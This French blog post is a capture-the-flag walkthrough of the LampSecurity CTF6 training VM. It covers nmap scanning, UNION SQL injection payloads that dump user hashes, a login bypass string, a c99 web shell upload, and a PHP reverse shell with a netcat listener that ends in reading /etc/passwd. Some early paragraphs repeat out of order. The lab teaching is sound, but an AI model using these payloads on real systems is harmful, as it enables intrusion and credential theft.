Ce CTF est présenté sous forme d'une machine virtuelle à télécharger, qui simule un serveur vulnérable.
Outils
- VMWare,- nmap
- dirbuster - http://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
- netcat ( version Windows - http://joncraton.org/files/nc111nt.zip )
- php-reverse-shell - http://pentestmonkey.net/tools/php-reverse-shell/
- c99 http://www.milw0rm.biz/c99.txt
- module firefox Firebug - https://addons.mozilla.org/fr/firefox/addon/1843/
- module firefox liveHttpHeaders - https://addons.mozilla.org/fr/firefox/addon/3829/
Préliminaires
Mise en place
Téléchargeons la machine virtuelle (VM) depuis le site http://sourceforge.net/projects/lampsecurity/. Pour l'utilisation de VMWare, nous pouvons nous référer à l'article Basics 1 - Mise en place du réseau tutoriel VMWare [1].
Modifions la machine dans VMWare pour qu'elle utilise le réseau NAT (au lieu de Bridge).
Pour connaitre le sous-réseau NAT de VMWare, aller dans Edit -> Virtual Nework Editor

Ici, nous utilisons le sous-réseau 192.168.0.0/24.
Lancons la machine dans VMWare. Une fois le serveur lancé, une invitation pour s'identifier apparait. Le serveur est actif. Quelle est son IP et quels services propose-t-il?
Nous obtenons les services suivants:
Web sur un serveur Apache:
- http
- https
Administration:
- ssh
- mySQL
courrier:
- imap
- pop
- imaps
- pops
La VM a un noyau Linux 2.6.X.

Nous obtenons les pages:
- Log In (pseudo/mot de passe),
- http://192.168.0.52/?id=1 (ou 2,3,4)

Ajoutons à la requête le caractère ' (touche 4). http://192.168.0.52/?id=1'

Nous remarquons que l'affichage du site change, sans proposer une erreur 404 (page introuvable). Le serveur n'échappe donc pas les caractères non alphanumériques.
Cela signifie que 7 champs sont récupérés dans la base SQL et affichés sur la page.
La requête UNION ne renvoit un résultat que si le nombre de champs à gauche et à droite est le même (ici 7).
Remarque, les données 1, 4 et 8 n'apparaissent pas sur l'affichage, mais sont bien présentes dans le code source de la page.
Par exemple, 4 correspond à l'adresse src de l'image

Pour lister les tables de la base SQL, nous utilisons la table spéciale information_schema [3]. De plus, la fonction database() renvoit le nom de la base de donnée en cours.
- user
- log
- event
Modifions la machine dans VMWare pour qu'elle utilise le réseau NAT (au lieu de Bridge).
Pour connaitre le sous-réseau NAT de VMWare, aller dans Edit -> Virtual Nework Editor
Ici, nous utilisons le sous-réseau 192.168.0.0/24.
Lancons la machine dans VMWare. Une fois le serveur lancé, une invitation pour s'identifier apparait. Le serveur est actif. Quelle est son IP et quels services propose-t-il?
Trouver l'adresse IP du serveur
Lancons NMAP en mode ping sur le sous-réseau# nmap -sP -PE -PA21,23,80,3389 192.168.0.0/24Nous obtenons un serveur en 192.168.0.52
Starting Nmap 5.30BETA1 ( http://nmap.org ) at 2010-06-01 09:45 Paris, Madrid (heure d’été)
Nmap scan report for 192.168.0.1
Host is up.
Nmap scan report for 192.168.0.52
Host is up (0.0010s latency).
MAC Address: 00:0C:29:EC:C4:25 (VMware)
Nmap scan report for 192.168.0.252
Host is up (0.00s latency).
MAC Address: 00:50:56:E5:4E:88 (VMware)
Nmap done: 256 IP addresses (3 hosts up) scanned in 39.27 seconds
services du serveur?
Lancons un deep scan sur l'IP 192.168.0.52# nmap -T4 -A -v -PE -PS22,25,80 -PA21,23,80,3389 192.168.0.52
Starting Nmap 5.21 ( http://nmap.org ) at 2010-05-24 11:42 Paris, Madrid (heure d’été)
NSE: Loaded 36 scripts for scanning.
Initiating ARP Ping Scan at 11:42
Scanning 192.168.0.52 [1 port]
Completed ARP Ping Scan at 11:42, 2.74s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 11:42
Completed Parallel DNS resolution of 1 host. at 11:42, 11.00s elapsed
Initiating SYN Stealth Scan at 11:42
Scanning 192.168.0.52 [1000 ports]
Discovered open port 22/tcp on 192.168.0.52
Discovered open port 995/tcp on 192.168.0.52
Discovered open port 111/tcp on 192.168.0.52
Discovered open port 110/tcp on 192.168.0.52
Discovered open port 143/tcp on 192.168.0.52
Discovered open port 3306/tcp on 192.168.0.52
Discovered open port 443/tcp on 192.168.0.52
Discovered open port 80/tcp on 192.168.0.52
Discovered open port 993/tcp on 192.168.0.52
Completed SYN Stealth Scan at 11:43, 1.31s elapsed (1000 total ports)
Initiating Service scan at 11:43
Scanning 9 services on 192.168.0.52
Completed Service scan at 11:43, 19.02s elapsed (9 services on 1 host)
Initiating RPCGrind Scan against 192.168.0.52 at 11:43
Completed RPCGrind Scan against 192.168.0.52 at 11:43, 0.01s elapsed (1 port)
Initiating OS detection (try #1) against 192.168.0.52
NSE: Script scanning 192.168.0.52.
NSE: Starting runlevel 1 (of 1) scan.
Initiating NSE at 11:43
Completed NSE at 11:43, 1.23s elapsed
NSE: Script Scanning completed.
Nmap scan report for 192.168.0.52
Host is up (0.0016s latency).
Not shown: 991 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey: 1024 14:a9:f4:11:dc:2c:4e:0d:45:6c:99:11:22:29:03:bc (DSA)
|_2048 45:58:6c:98:3e:97:2a:da:e2:b8:6a:84:d4:6a:be:26 (RSA)
80/tcp open http Apache httpd 2.2.3 ((CentOS))
|_html-title: CTF 6 - Widgets Inc.
110/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: USER CAPA UIDL TOP OK(K) RESP-CODES PIPELINING STLS SASL(PLAIN)
111/tcp open rpcbind 2 (rpc #100000)
| rpcinfo:
| 100000 2 111/udp rpcbind
| 100024 1 610/udp status
| 100000 2 111/tcp rpcbind
|_100024 1 613/tcp status
143/tcp open imap Dovecot imapd
|_imap-capabilities: LOGIN-REFERRALS AUTH=PLAIN UNSELECT THREAD=REFERENCES STARTTLS IMAP4rev1 NAMESPACE SORT CHILDREN LITERAL+ IDLE SASL-IR MULTIAPPEND
443/tcp open ssl/http Apache httpd 2.2.3 ((CentOS))
|_html-title: CTF 6 - Widgets Inc.
993/tcp open ssl/imap Dovecot imapd
|_sslv2: server still supports SSLv2
|_imap-capabilities: LOGIN-REFERRALS UNSELECT THREAD=REFERENCES AUTH=PLAIN IMAP4rev1 NAMESPACE SORT CHILDREN LITERAL+ IDLE SASL-IR MULTIAPPEND
995/tcp open ssl/pop3 Dovecot pop3d
|_sslv2: server still supports SSLv2
|_pop3-capabilities: OK(K) CAPA RESP-CODES UIDL PIPELINING USER TOP SASL(PLAIN)
3306/tcp open mysql MySQL 5.0.45
| mysql-info: Protocol: 10
| Version: 5.0.45
| Thread ID: 5
| Some Capabilities: Connect with DB, Compress, Transactions, Secure Connection
| Status: Autocommit
|_Salt: {LHc=CxV#I'&'0[Z3/0B
MAC Address: 00:0C:29:EC:C4:25 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS details: Linux 2.6.9 - 2.6.28
Uptime guess: 0.006 days (since Mon May 24 11:34:08 2010)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=203 (Good luck!)
IP ID Sequence Generation: All zeros
HOP RTT ADDRESS
1 1.58 ms 192.168.0.52
Read data files from: C:\Program Files\Nmap
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.65 seconds
Raw packets sent: 1027 (45.948KB) | Rcvd: 1021 (41.608KB)
Nous obtenons les services suivants:
Web sur un serveur Apache:
- http
- https
Administration:
- ssh
- mySQL
courrier:
- imap
- pop
- imaps
- pops
La VM a un noyau Linux 2.6.X.
le serveur Web
Lançons notre navigateurPoints d'entrée
Recherchons quelques points d'entrée en naviguant sur le site.Nous obtenons les pages:
- Log In (pseudo/mot de passe),
- http://192.168.0.52/?id=1 (ou 2,3,4)
1ère injection SQL (/?id=1)
Une injection SQL consiste à effectuer une requête SQL dans une requête http pour injecter des résultats dans la page Web générée. Par exemple, si la page Web retournera une entrée d'une table de la base dans un champ qui devrait normalement contenir le texte d'un article.Y a-t-il une injection SQL?
Voici la requête normale: http://192.168.0.52/?id=1Ajoutons à la requête le caractère ' (touche 4). http://192.168.0.52/?id=1'
Nous remarquons que l'affichage du site change, sans proposer une erreur 404 (page introuvable). Le serveur n'échappe donc pas les caractères non alphanumériques.
Combien y a-t-il de champs SQL dans la page?
Envoyons successivement les requêtes suivantes:http://192.168.0.52?id=1 UNION SELECT 1A la 7ème requête, l'affichage change et nous obtenons:
http://192.168.0.52/?id=1 UNION SELECT 1,2
http://192.168.0.52/?id=1 UNION SELECT 1,2,3
http://192.168.0.52/?id=1 UNION SELECT 1,2,3,4
http://192.168.0.52/?id=1 UNION SELECT 1,2,3,4,5
http://192.168.0.52/?id=1 UNION SELECT 1,2,3,4,5,6
http://192.168.0.52/?id=1 UNION SELECT 1,2,3,4,5,6,7
La requête UNION ne renvoit un résultat que si le nombre de champs à gauche et à droite est le même (ici 7).
Remarque, les données 1, 4 et 8 n'apparaissent pas sur l'affichage, mais sont bien présentes dans le code source de la page.
Par exemple, 4 correspond à l'adresse src de l'image
(...)
Posted by: 7
3
(...)
Connaître la version et le user de la base SQL
Nous utilisons les deux fonctions spéciales user() et version()http://192.168.0.52/?id=1 UNION SELECT 1,user(),version(),4,5,6,7
Lister les tables de la base SQL
Pour lister les tables de la base SQL, nous utilisons la table spéciale information_schema [3]. De plus, la fonction database() renvoit le nom de la base de donnée en cours.
http://192.168.0.52/?id=1 UNION SELECT 1,2,3,4,5,6,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database()Nous obtenons 3 tables:
- user
- log
- event
Lister les colonnes de la table des utilisateurs
A présent, intéressons nous à la table "user". Nous utilisons la même méthode pour obtenir la liste des colonnes de cette table.http://192.168.0.52/?id=1 UNION SELECT 1,2,3,4,5,6,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = database() AND TABLE_NAME = 'user'Nous obtenons:
- user_id
- user_username
- user_password
Lister les entrées username et password de la table des utilisateurs
A présent, nous connaissons les titres des colonnes de la table user, affichons les couples user_username/user_password.http://192.168.0.52/?id=1 UNION SELECT 1,2,user_username,4,5,6,user_password FROM user
Nous obtenons:
username: admin
password: 25e4ee4e9229397b6b17776bfceaf8e7
obtenir le mot de passe (faible) grace à son hash MD5 puis se loguer comme admin
copions-collons ce hash dans Google, nous obtenons le pass en clair: adminpassretournons sur le site et identifions nous:
Nous voici admin sur le site Web.
recherche dictionnaire des répertoires
recherche
La méthode de SQL injection a permis de retrouver les éléments de connexion admin du site Web. Une autre méthode plus rapide permet également de les trouver: le parcours de répertoires du site.Utilisons dirbuster de Owasp
Nous voyons un répertoire sql, qui contient un fichier sql.db dans lequel nous trouvons le script d'installation de la base, avec le mot de passe en clair!
afficher le code php de fichiers temporaires
Nous naviguons dans le site et ajoutons à chaque page trouvée ~ pour vérifier si un fichier temporaire n'a pas été effacé. Nous en trouvons un pour http://192.168.48.136/actions/add_event.php~2ème injection SQL (login)
Nous allons exploiter une éventuelle injection SQL sur le formulaire login/password.repérer la protection locale javascript avec firebug
Le formulaire username/password est protégé (si on peut dire!) par un javascript qui échappe les caractères entrés.
Avec firebug, activons l'option "Cliquer sur un élément à inspecter dans la page"
puis cliquons sur le bouton "Log In" pour voir apparaitre la partie du code source qui concerne notre formulaire. Le script javascript est "checkForm()"
bypasser la protection locale, repérer l'injection
Pour bypasser la protection locale javascript, nous utilisons le module Firefox Live Http Headers:
Lancons Live Http Headers:
Cliquons sur le bouton "Log In" du formulaire, puis cliquons dans la requête http capturée, puis sur "rejouer":
Essayons de contourner le champ "password" dans la requête:
username=admin' AND a=a /*&password=
Et nous obtenons:
Query error with select user_id from user where user_username = 'admin' AND a=a /*': Unknown column 'a' in 'where clause'
exploitation
Nous voyons que le code SQL est interprété. Mais notre première tentative échoue. Comment exploiter cette faille? Supposons que le serveur SQL utilise une fonction (MD5() par exemple) pour traiter les données entrées. Nous ajoutons donc une parenthèse dans notre requête:
username=' OR 1=1 #&password=') OR 1=1 #
bingo!
Allons à présent jeter un coup d'oeil au code source.
c99: lister le contenu du serveur
A présent que nous sommes identifiés comme Admin sur le site Web, uploadons c99 grace au formulaire add an event:Nous utilisons le fichier c99.txt (cf http://www.milw0rm.biz/c99.txt). Nous le renommons en c99.php puis nous l'uploadons sur le serveur.
Pour cela, nous créons un nouvel "event" et utilisons le lien "télécharger une image" pour uploader le fichier. Puis nous nous rendons sur
http://192.168.48.136/files/c99.php
injection login/password dans le code source PHP
Voyons le code source de index.php. Il nous renvoie au répertoire "actions"Allons voir "actions/login.php". L'injection se trouve à cette ligne:
$sql = "select * from user where user_id = " . $uname->user_id .
" AND user_password = md5('" . $_POST['password'] . "')";
Ici, le code appelle la fonction md5() de SQL. Notre injection transforme le code ainsi:
$sql = "select * from user where user_id = " . $uname->user_id AND user_password = md5('') AND 1=1";
php-reverse-shell: obtenir un shell
Nous allons uploader un fichier php qui se connectera en retour vers notre machine.
sur notre machine, écoute sur le port 1234
Utilisons netcat pour Windows. Voyons les options de netcat:
démarrer -> exécuter -> CMDOuvrons le port TCP 1234
C:\netcat>nc
Cmd line: -help
[v1.11 NT www.vulnwatch.org/netcat/]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d detach from console, background mode
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: m-n [inclusive]
C:\netcat>nc
Cmd line: -v -n -l -p 1234
listening on [any] 1234 ...
upload php-reverse-shell
Editons le fichier php-reverse-shell.php et modifions le pour qu'il se connecte vers notre IP$ip = '192.168.0.1'; // CHANGE THIS
$port = 1234; // CHANGE THIS
Uploadons le sur le serveur, en utilisant le formulaire "Add Event" de l'interface Admin
obtenir un shell via netcat
Accédons au fichier en tapant son adresse: http://192.168.0.52/files/php-reverse-shell.php
Nous obtenons bien le shell:
récupérer /etc/passwd
Depuis le shell netcat, en ne gardant que ceux qui peuvent ouvrir un shell:sh-3.2$ cat /etc/passwd | grep /bin/bash
root:x:0:0:root:/root:/bin/bash
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
john:x:500:500::/home/john:/bin/bash
linda:x:501:501::/home/linda:/bin/bash
fred:x:502:502::/home/fred:/bin/bash
molly:x:503:503::/home/molly:/bin/bash
toby:x:504:504::/home/toby:/bin/bash
sh-3.2$
Nous obtenons donc la liste des utilisateurs du serveur.
élevation de privilège
Pour l'élévation de privilège, nous vous renvoyons à l'article de mysterie [4]
Conclusion
Dans cet article, nous avons pu mettre en œuvre plusieurs méthodes d'exploitation:
- injection SQL,
- recherche de répertoires,
- affichage du contenu du site avec c99.php,
- reverse shell php.
références
1 - Infond - Basics 1 Mise en place du réseau tutoriel VMWare - http://infond.blogspot.com/2010/03/basics-1-mise-en-place-du-labo.html
2 - Mohammed Cherifi - Tutoriel SQL injection - http://www.mcherifi.org/hacking/tutoriel-sql-injection-les-classiques.html
3 - MySQL doc - table information_schema - http://dev.mysql.com/doc/refman/5.0/fr/information-schema.html
4 - Mysterie - LampSecurity CTF6 - http://mysterie.fr/blog/index.php?post/2009/07/28/LampSecurity-CTF-6
Petite question... Quel est le compte pour se logguer sous la machine virtuelle ? J'ai utilisé lampsec, mais ça marche pas et pas de doc à ce sujet.
RépondreSupprimerMerci
Pour se logger, il faut auparavant obtenir des credentials... Il va te falloir contourner cette authentification ;)
RépondreSupprimer